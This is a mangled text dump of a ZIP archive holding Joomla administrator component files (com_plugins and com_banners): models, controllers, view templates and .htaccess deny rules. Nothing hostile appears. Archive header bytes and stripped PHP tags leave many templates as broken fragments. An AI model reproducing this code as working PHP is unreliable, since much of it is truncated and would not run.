(!preg_match("/$search/i", $item->name)) { unset($result[$i]); } } } $lang = JFactory::getLanguage(); $direction = ($this->getState('list.direction') == 'desc') ? -1 : 1; JArrayHelper::sortObjects($result, $ordering, $direction, true, $lang->getLocale()); $total = count($result); $this->cache[$this->getStoreId('getTotal')] = $total; if ($total < $limitstart) { $limitstart = 0; $this->setState('list.start', 0); } return array_slice($result, $limitstart, $limit ? $limit : null); } else { if ($ordering == 'ordering') { $query->order('a.folder ASC'); $ordering = 'a.ordering'; } $query->order($this->_db->quoteName($ordering) . ' ' . $this->getState('list.direction')); if($ordering == 'folder') { $query->order('a.ordering ASC'); } $result = parent::_getList($query, $limitstart, $limit); $this->translate($result); return $result; } } /** * Translate a list of objects * * @param array The array of objects * @return array The array of translated objects */ protected function translate(&$items) { $lang = JFactory::getLanguage(); foreach($items as &$item) { $source = JPATH_PLUGINS . '/' . $item->folder . '/' . $item->element; $extension = 'plg_' . $item->folder . '_' . $item->element; $lang->load($extension . '.sys', JPATH_ADMINISTRATOR, null, false, true) || $lang->load($extension . '.sys', $source, null, false, true); $item->name = JText::_($item->name); } } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.extension_id , a.name, a.element, a.folder, a.checked_out, a.checked_out_time,' . ' a.enabled, a.access, a.ordering' ) ); $query->from($db->quoteName('#__extensions').' AS a'); $query->where($db->quoteName('type').' = '.$db->quote('plugin')); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = '.(int) $access); } // Filter by published state $published = $this->getState('filter.state'); if (is_numeric($published)) { $query->where('a.enabled = '.(int) $published); } elseif ($published === '') { $query->where('(a.enabled IN (0, 1))'); } // Filter by state $query->where('a.state >= 0'); // Filter by folder. if ($folder = $this->getState('filter.folder')) { $query->where('a.folder = '.$db->quote($folder)); } // Filter by search in id $search = $this->getState('filter.search'); if (!empty($search) && stripos($search, 'id:') === 0) { $query->where('a.extension_id = '.(int) substr($search, 3)); } return $query; } } PKs>\Vcom_plugins/models/index.htmlnuW+A PKs>\)com_plugins/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\m.__com_plugins/config.xmlnuW+A
      PKs>\Vcom_plugins/views/index.htmlnuW+A PKs>\V$com_plugins/views/plugins/index.htmlnuW+A PKs>\)(com_plugins/views/plugins/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\v6*com_plugins/views/plugins/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_plugins'); $saveOrder = $listOrder == 'ordering'; ?>
      items as $i => $item) : $ordering = ($listOrder == 'ordering'); $canEdit = $user->authorise('core.edit', 'com_plugins'); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id') || $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_plugins') && $canCheckin; ?>
      items, 'filesave.png', 'plugins.saveorder'); ?>
      pagination->getListFooter(); ?>
      extension_id); ?> checked_out) : ?> editor, $item->checked_out_time, 'plugins.', $canCheckin); ?> name; ?> name; ?> enabled, $i, 'plugins.', $canChange); ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->folder == $item->folder), 'plugins.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->folder == $item->folder), 'plugins.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->folder == $item->folder), 'plugins.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->folder == $item->folder), 'plugins.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> escape($item->folder);?> escape($item->element);?> escape($item->access_level); ?> extension_id;?>
      PKs>\V)com_plugins/views/plugins/tmpl/index.htmlnuW+A PKs>\BQQ'com_plugins/views/plugins/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Check if there are no matching items if(!count($this->items)){ JFactory::getApplication()->enqueueMessage( JText::_('COM_PLUGINS_MSG_MANAGE_NO_PLUGINS') , 'warning' ); } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $state = $this->get('State'); $canDo = PluginsHelper::getActions(); JToolBarHelper::title(JText::_('COM_PLUGINS_MANAGER_PLUGINS'), 'plugin'); if ($canDo->get('core.edit')) { JToolBarHelper::editList('plugin.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('plugins.publish', 'JTOOLBAR_ENABLE', true); JToolBarHelper::unpublish('plugins.unpublish', 'JTOOLBAR_DISABLE', true); JToolBarHelper::divider(); JToolBarHelper::checkin('plugins.checkin'); } if ($canDo->get('core.admin')) { JToolBarHelper::divider(); JToolBarHelper::preferences('com_plugins'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_EXTENSIONS_PLUGIN_MANAGER'); } } PKs>\)#com_plugins/views/plugins/.htaccessnuW+A Order allow,deny Deny from all PKs>\)"com_plugins/views/plugin/.htaccessnuW+A Order allow,deny Deny from all PKs>\G0N&com_plugins/views/plugin/view.html.phpnuW+Astate = $this->get('State'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $canDo = PluginsHelper::getActions(); JToolBarHelper::title(JText::sprintf('COM_PLUGINS_MANAGER_PLUGIN', JText::_($this->item->name)), 'plugin'); // If not checked out, can save the item. if ($canDo->get('core.edit')) { JToolBarHelper::apply('plugin.apply'); JToolBarHelper::save('plugin.save'); } JToolBarHelper::cancel('plugin.cancel', 'JTOOLBAR_CLOSE'); JToolBarHelper::divider(); // Get the help information for the plugin item. $lang = JFactory::getLanguage(); $help = $this->get('Help'); if ($lang->hasKey($help->url)) { $debug = $lang->setDebug(false); $url = JText::_($help->url); $lang->setDebug($debug); } else { $url = null; } JToolBarHelper::help($help->key, false, $url); } } PKs>\V#com_plugins/views/plugin/index.htmlnuW+A PKs>\Y &com_plugins/views/plugin/tmpl/edit.phpnuW+A
      • form->getLabel('name'); ?> form->getInput('name'); ?> item->name);?>
      • form->getLabel('enabled'); ?> form->getInput('enabled'); ?>
      • form->getLabel('access'); ?> form->getInput('access'); ?>
      • form->getLabel('ordering'); ?> form->getInput('ordering'); ?>
      • form->getLabel('folder'); ?> form->getInput('folder'); ?>
      • form->getLabel('element'); ?> form->getInput('element'); ?>
      • item->extension_id) : ?>
      • form->getLabel('extension_id'); ?> form->getInput('extension_id'); ?>
      item->xml) : ?> item->xml->description)) : ?>
      item->extension_id); ?> loadTemplate('options'); ?>
      PKs>\)'com_plugins/views/plugin/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\(ق.com_plugins/views/plugin/tmpl/edit_options.phpnuW+Aform->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_PLUGINS_'.$name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
        form->getFieldset($name) as $field) : ?> hidden) : ?>
      • label; ?> input; ?>
      • input; ?>
      PKs>\V(com_plugins/views/plugin/tmpl/index.htmlnuW+A PKs>\)com_plugins/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\mY#com_plugins/controller.phpnuW+AcheckEditId('com_plugins.edit.plugin', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_plugins&view=plugins', false)); return false; } parent::display(); } } PKs>\icom_banners/access.xmlnuW+A
      PKs>\mAcom_banners/config.xmlnuW+A
      PKs>\y,MM"com_banners/controllers/client.phpnuW+A\}D &com_banners/controllers/tracks.raw.phpnuW+A true)); return $model; } /** * Display method for the raw track data. * * @param boolean If true, the view output will be cached * @param array An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}. * * @return JController This object to support chaining. * @since 1.5 * @todo This should be done as a view, not here! */ public function display($cachable = false, $urlparams = false) { // Get the document object. $document = JFactory::getDocument(); $vName = 'tracks'; $vFormat = 'raw'; // Get and render the view. if ($view = $this->getView($vName, $vFormat)) { // Get the model for the view. $model = $this->getModel($vName); // Load the filter state. $app = JFactory::getApplication(); $type = $app->getUserState($this->context.'.filter.type'); $model->setState('filter.type', $type); $begin = $app->getUserState($this->context.'.filter.begin'); $model->setState('filter.begin', $begin); $end = $app->getUserState($this->context.'.filter.end'); $model->setState('filter.end', $end); $categoryId = $app->getUserState($this->context.'.filter.category_id'); $model->setState('filter.category_id', $categoryId); $clientId = $app->getUserState($this->context.'.filter.client_id'); $model->setState('filter.client_id', $clientId); $model->setState('list.limit', 0); $model->setState('list.start', 0); $form = JRequest::getVar('jform'); $model->setState('basename', $form['basename']); $model->setState('compressed', $form['compressed']); $config = JFactory::getConfig(); $cookie_domain = $config->get('cookie_domain', ''); $cookie_path = $config->get('cookie_path', '/'); setcookie(JApplication::getHash($this->context.'.basename'), $form['basename'], time() + 365 * 86400, $cookie_path, $cookie_domain); setcookie(JApplication::getHash($this->context.'.compressed'), $form['compressed'], time() + 365 * 86400, $cookie_path, $cookie_domain); // Push the model into the view (as default). $view->setModel($model, true); // Push document object into the view. $view->assignRef('document', $document); $view->display(); } } } PKs>\ "com_banners/controllers/banner.phpnuW+Aauthorise('core.create', $this->option . '.category.' . $categoryId); } if ($allow === null) { // In the absence of better information, revert to the component permissions. return parent::allowAdd($data); } else { return $allow; } } /** * Method override to check if you can edit an existing record. * * @param array $data An array of input data. * @param string $key The name of the key for the primary key. * * @return boolean * * @since 1.6 */ protected function allowEdit($data = array(), $key = 'id') { // Initialise variables. $user = JFactory::getUser(); $recordId = (int) isset($data[$key]) ? $data[$key] : 0; $categoryId = 0; if ($recordId) { $categoryId = (int) $this->getModel()->getItem($recordId)->catid; } if ($categoryId) { // The category has been set. Check the category permissions. return $user->authorise('core.edit', $this->option . '.category.' . $categoryId); } else { // Since there is no asset tracking, revert to the component permissions. return parent::allowEdit($data, $key); } } /** * Method to run batch operations. * * @param string $model The model * * @return boolean True on success. * * @since 2.5 */ public function batch($model = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Set the model $model = $this->getModel('Banner', '', array()); // Preset the redirect $this->setRedirect(JRoute::_('index.php?option=com_banners&view=banners' . $this->getRedirectToListAppend(), false)); return parent::batch($model); } } PKs>\)!com_banners/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\:&"com_banners/controllers/tracks.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } /** * Method to remove a record. * * @return void * @since 1.6 */ public function delete() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Get the model. $model = $this->getModel(); // Load the filter state. $app = JFactory::getApplication(); $type = $app->getUserState($this->context.'.filter.type'); $model->setState('filter.type', $type); $begin = $app->getUserState($this->context.'.filter.begin'); $model->setState('filter.begin', $begin); $end = $app->getUserState($this->context.'.filter.end'); $model->setState('filter.end', $end); $categoryId = $app->getUserState($this->context.'.filter.category_id'); $model->setState('filter.category_id', $categoryId); $clientId = $app->getUserState($this->context.'.filter.client_id'); $model->setState('filter.client_id', $clientId); $model->setState('list.limit', 0); $model->setState('list.start', 0); $count = $model->getTotal(); // Remove the items. if (!$model->delete()) { JError::raiseWarning(500, $model->getError()); } else { $this->setMessage(JText::plural('COM_BANNERS_TRACKS_N_ITEMS_DELETED', $count)); } $this->setRedirect('index.php?option=com_banners&view=tracks'); } } PKs>\UQQ#com_banners/controllers/clients.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PKs>\V"com_banners/controllers/index.htmlnuW+A PKs>\jYY#com_banners/controllers/banners.phpnuW+AregisterTask('sticky_unpublish', 'sticky_publish'); } /** * Proxy for getModel. * @since 1.6 */ public function getModel($name = 'Banner', $prefix = 'BannersModel', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } /** * @since 1.6 */ public function sticky_publish() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $user = JFactory::getUser(); $ids = JRequest::getVar('cid', array(), '', 'array'); $values = array('sticky_publish' => 1, 'sticky_unpublish' => 0); $task = $this->getTask(); $value = JArrayHelper::getValue($values, $task, 0, 'int'); if (empty($ids)) { JError::raiseWarning(500, JText::_('COM_BANNERS_NO_BANNERS_SELECTED')); } else { // Get the model. $model = $this->getModel(); // Change the state of the records. if (!$model->stick($ids, $value)) { JError::raiseWarning(500, $model->getError()); } else { if ($value == 1) { $ntext = 'COM_BANNERS_N_BANNERS_STUCK'; } else { $ntext = 'COM_BANNERS_N_BANNERS_UNSTUCK'; } $this->setMessage(JText::plural($ntext, count($ids))); } } $this->setRedirect('index.php?option=com_banners&view=banners'); } } PKs>\Vcom_banners/index.htmlnuW+A PKs>\)(com_banners/views/clients/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\ph3NN*com_banners/views/clients/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $params = (isset($this->state->params)) ? $this->state->params : new JObject(); ?>
      items as $i => $item) : $ordering = ($listOrder == 'ordering'); $canCreate = $user->authorise('core.create', 'com_banners'); $canEdit = $user->authorise('core.edit', 'com_banners'); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id') || $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_banners') && $canCheckin; ?>
      pagination->getListFooter(); ?>
      id); ?> checked_out) : ?> editor, $item->checked_out_time, 'clients.', $canCheckin); ?> escape($item->name); ?> escape($item->name); ?> contact;?> state, $i, 'clients.', $canChange);?> nbanners; ?> metakey; ?> purchase_type<0):?> get('purchase_type')));?> purchase_type);?> id; ?>
      PKs>\V)com_banners/views/clients/tmpl/index.htmlnuW+A PKs>\V$com_banners/views/clients/index.htmlnuW+A PKs>\)#com_banners/views/clients/.htaccessnuW+A Order allow,deny Deny from all PKs>\MAamm'com_banners/views/clients/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/banners.php'; $canDo = BannersHelper::getActions(); JToolBarHelper::title(JText::_('COM_BANNERS_MANAGER_CLIENTS'), 'banners-clients.png'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('client.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('client.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('clients.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('clients.unpublish', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::divider(); JToolBarHelper::archiveList('clients.archive'); JToolBarHelper::checkin('clients.checkin'); } if ($this->state->get('filter.state') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'clients.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('clients.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_banners'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_COMPONENTS_BANNERS_CLIENTS'); } } PKs>\%6HH&com_banners/views/client/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id')); $canDo = BannersHelper::getActions(); JToolBarHelper::title($isNew ? JText::_('COM_BANNERS_MANAGER_CLIENT_NEW') : JText::_('COM_BANNERS_MANAGER_CLIENT_EDIT'), 'banners-clients.png'); // If not checked out, can save the item. if (!$checkedOut && ($canDo->get('core.edit')||$canDo->get('core.create'))) { JToolBarHelper::apply('client.apply'); JToolBarHelper::save('client.save'); } if (!$checkedOut && $canDo->get('core.create')) { JToolBarHelper::save2new('client.save2new'); } // If an existing item, can save to a copy. if (!$isNew && $canDo->get('core.create')) { JToolBarHelper::save2copy('client.save2copy'); } if (empty($this->item->id)) { JToolBarHelper::cancel('client.cancel'); } else { JToolBarHelper::cancel('client.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_BANNERS_CLIENTS_EDIT'); } } PKs>\V#com_banners/views/client/index.htmlnuW+A PKs>\)'com_banners/views/client/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V(com_banners/views/client/tmpl/index.htmlnuW+A PKs>\Fx m &com_banners/views/client/tmpl/edit.phpnuW+A
      item->id) ? JText::_('COM_BANNERS_NEW_CLIENT') : JText::sprintf('COM_BANNERS_EDIT_CLIENT', $this->item->id); ?>
      • form->getLabel('name'); ?> form->getInput('name'); ?>
      • form->getLabel('contact'); ?> form->getInput('contact'); ?>
      • form->getLabel('email'); ?> form->getInput('email'); ?>
      • get('core.edit.state')) : ?>
      • form->getLabel('state'); ?> form->getInput('state'); ?>
      • form->getLabel('purchase_type'); ?> form->getInput('purchase_type'); ?>
      • form->getLabel('track_impressions'); ?> form->getInput('track_impressions'); ?>
      • form->getLabel('track_clicks'); ?> form->getInput('track_clicks'); ?>
      • form->getLabel('id'); ?> form->getInput('id'); ?>
      item->id, array('useCookie'=>1)); ?>
        form->getFieldset('metadata') as $field): ?>
      • hidden): ?> label; ?> input; ?>
        form->getFieldset('extra') as $field): ?>
      • hidden): ?> label; ?> input; ?>
      PKs>\)"com_banners/views/client/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_banners/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\}eW W 'com_banners/views/banners/view.html.phpnuW+Acategories = $this->get('CategoryOrders'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); require_once JPATH_COMPONENT . '/models/fields/bannerclient.php'; // Include the component HTML helpers. JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); parent::display($tpl); } /** * Add the page title and toolbar. * * @return void * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT . '/helpers/banners.php'; $canDo = BannersHelper::getActions($this->state->get('filter.category_id')); $user = JFactory::getUser(); JToolBarHelper::title(JText::_('COM_BANNERS_MANAGER_BANNERS'), 'banners.png'); if (count($user->getAuthorisedCategories('com_banners', 'core.create')) > 0) { JToolBarHelper::addNew('banner.add'); } if (($canDo->get('core.edit'))) { JToolBarHelper::editList('banner.edit'); } if ($canDo->get('core.edit.state')) { if ($this->state->get('filter.state') != 2) { JToolBarHelper::divider(); JToolBarHelper::publish('banners.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('banners.unpublish', 'JTOOLBAR_UNPUBLISH', true); } if ($this->state->get('filter.state') != -1) { JToolBarHelper::divider(); if ($this->state->get('filter.state') != 2) { JToolBarHelper::archiveList('banners.archive'); } elseif ($this->state->get('filter.state') == 2) { JToolBarHelper::unarchiveList('banners.publish'); } } } if ($canDo->get('core.edit.state')) { JToolBarHelper::checkin('banners.checkin'); } if ($this->state->get('filter.state') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'banners.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('banners.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_banners'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_COMPONENTS_BANNERS_BANNERS'); } } PKs>\V$com_banners/views/banners/index.htmlnuW+A PKs>\J##0com_banners/views/banners/tmpl/default_batch.phpnuW+Astate->get('filter.published'); ?>

      = 0) : ?>
      PKs>\V)com_banners/views/banners/tmpl/index.htmlnuW+A PKs>\)(com_banners/views/banners/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\lM&&*com_banners/views/banners/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_banners.category'); $saveOrder = $listOrder=='ordering'; $params = (isset($this->state->params)) ? $this->state->params : new JObject(); ?>
      items as $i => $item) : $ordering = ($listOrder == 'ordering'); $item->cat_link = JRoute::_('index.php?option=com_categories&extension=com_banners&task=edit&type=other&cid[]='. $item->catid); $canCreate = $user->authorise('core.create', 'com_banners.category.'.$item->catid); $canEdit = $user->authorise('core.edit', 'com_banners.category.'.$item->catid); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0; $canChange = $user->authorise('core.edit.state', 'com_banners.category.'.$item->catid) && $canCheckin; ?>
      items, 'filesave.png', 'banners.saveorder'); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?>
      pagination->getListFooter(); ?>
      id); ?> checked_out) : ?> editor, $item->checked_out_time, 'banners.', $canCheckin); ?> escape($item->name); ?> escape($item->name); ?>

      escape($item->alias));?>

      state, $i, 'banners.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> sticky, $i, $canChange); ?> client_name;?> escape($item->category_title); ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->catid == $item->catid), 'banners.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->catid == $item->catid), 'banners.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->catid == $item->catid), 'banners.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->catid == $item->catid), 'banners.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> impmade, $item->imptotal ? $item->imptotal : JText::_('COM_BANNERS_UNLIMITED'));?> clicks;?> - impmade ? 100 * $item->clicks/$item->impmade : 0);?> metakey; ?> purchase_type < 0):?> client_purchase_type > 0) ? JText::_('COM_BANNERS_FIELD_VALUE_'.$item->client_purchase_type) : JText::_('COM_BANNERS_FIELD_VALUE_'.$params->get('purchase_type')));?> purchase_type);?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
      authorize('core.create', 'com_banners') && $user->authorize('core.edit', 'com_banners') && $user->authorize('core.edit.state', 'com_banners')) : ?> loadTemplate('batch'); ?>
      PKs>\)#com_banners/views/banners/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_banners/views/index.htmlnuW+A PKs>\)"com_banners/views/tracks/.htaccessnuW+A Order allow,deny Deny from all PKs>\V#com_banners/views/tracks/index.htmlnuW+A PKs>\)com_banners/views/tracks/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
      state->get('filter.category_id');?>
      items as $i => $item) :?>
      pagination->getListFooter(); ?>
      name;?> client_name;?> category_title;?> track_type==1 ? JText::_('COM_BANNERS_IMPRESSION'): JText::_('COM_BANNERS_CLICK');?> count;?> track_date, JText::_('DATE_FORMAT_LC4').' H:i');?>
      PKs>\V(com_banners/views/tracks/tmpl/index.htmlnuW+A PKs>\)'com_banners/views/tracks/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\d%com_banners/views/tracks/view.raw.phpnuW+Aget('BaseName'); $filetype = $this->get('FileType'); $mimetype = $this->get('MimeType'); $content = $this->get('Content'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $document = JFactory::getDocument(); $document->setMimeEncoding($mimetype); JResponse::setHeader('Content-disposition', 'attachment; filename="'.$basename.'.'.$filetype.'"; creation-date="'.JFactory::getDate()->toRFC822().'"', true); echo $content; } } PKs>\Nėy@@&com_banners/views/tracks/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); require_once JPATH_COMPONENT .'/models/fields/bannerclient.php'; parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/banners.php'; $canDo = BannersHelper::getActions($this->state->get('filter.category_id')); JToolBarHelper::title(JText::_('COM_BANNERS_MANAGER_TRACKS'), 'banners-tracks.png'); $bar = JToolBar::getInstance('toolbar'); $bar->appendButton('Popup', 'export', 'JTOOLBAR_EXPORT', 'index.php?option=com_banners&view=download&tmpl=component', 600, 300); $document = JFactory::getDocument(); $app = JFactory::getApplication(); if ($canDo->get('core.delete')) { $bar->appendButton('Confirm', 'COM_BANNERS_DELETE_MSG', 'delete', 'COM_BANNERS_TRACKS_DELETE', 'tracks.delete', false); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_banners'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_COMPONENTS_BANNERS_TRACKS'); } } PKs>\GT}}+com_banners/views/download/tmpl/default.phpnuW+A
      form->getFieldset() as $field): ?> hidden): ?> label; ?> input; ?>
      PKs>\))com_banners/views/download/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V*com_banners/views/download/tmpl/index.htmlnuW+A PKs>\)$com_banners/views/download/.htaccessnuW+A Order allow,deny Deny from all PKs>\(com_banners/views/download/view.html.phpnuW+Aform = $this->get('Form'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); } } PKs>\V%com_banners/views/download/index.htmlnuW+A PKs>\V(com_banners/views/banner/tmpl/index.htmlnuW+A PKs>\Qa""&com_banners/views/banner/tmpl/edit.phpnuW+A PKs>\)'com_banners/views/banner/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\)"com_banners/views/banner/.htaccessnuW+A Order allow,deny Deny from all PKs>\V#com_banners/views/banner/index.htmlnuW+A PKs>\7!&com_banners/views/banner/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $userId = $user->get('id'); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $userId); // Since we don't track these assets at the item level, use the category id. $canDo = BannersHelper::getActions($this->item->catid,0); JToolBarHelper::title($isNew ? JText::_('COM_BANNERS_MANAGER_BANNER_NEW') : JText::_('COM_BANNERS_MANAGER_BANNER_EDIT'), 'banners.png'); // If not checked out, can save the item. if (!$checkedOut && ($canDo->get('core.edit') || count($user->getAuthorisedCategories('com_banners', 'core.create')) > 0)) { JToolBarHelper::apply('banner.apply'); JToolBarHelper::save('banner.save'); if ($canDo->get('core.create')) { JToolBarHelper::save2new('banner.save2new'); } } // If an existing item, can save to a copy. if (!$isNew && $canDo->get('core.create')) { JToolBarHelper::save2copy('banner.save2copy'); } if (empty($this->item->id)) { JToolBarHelper::cancel('banner.cancel'); } else { JToolBarHelper::cancel('banner.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_BANNERS_BANNERS_EDIT'); } } PKs>\{'com_banners/controller.phpnuW+AgetModel('Banner', 'BannersModel', array('ignore_request'=>true)); $model->setState('banner.id', $id); $model->click(); $this->setRedirect($model->getUrl()); } } } PKs>\Vcom_banners/helpers/index.htmlnuW+A PKs>\V#com_banners/helpers/html/index.htmlnuW+A PKs>\)"com_banners/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PKs>\c^5 5 #com_banners/helpers/html/banner.phpnuW+A', JText::_('COM_BANNERS_BATCH_CLIENT_LABEL'), '', '' ); return implode("\n", $lines); } /** * 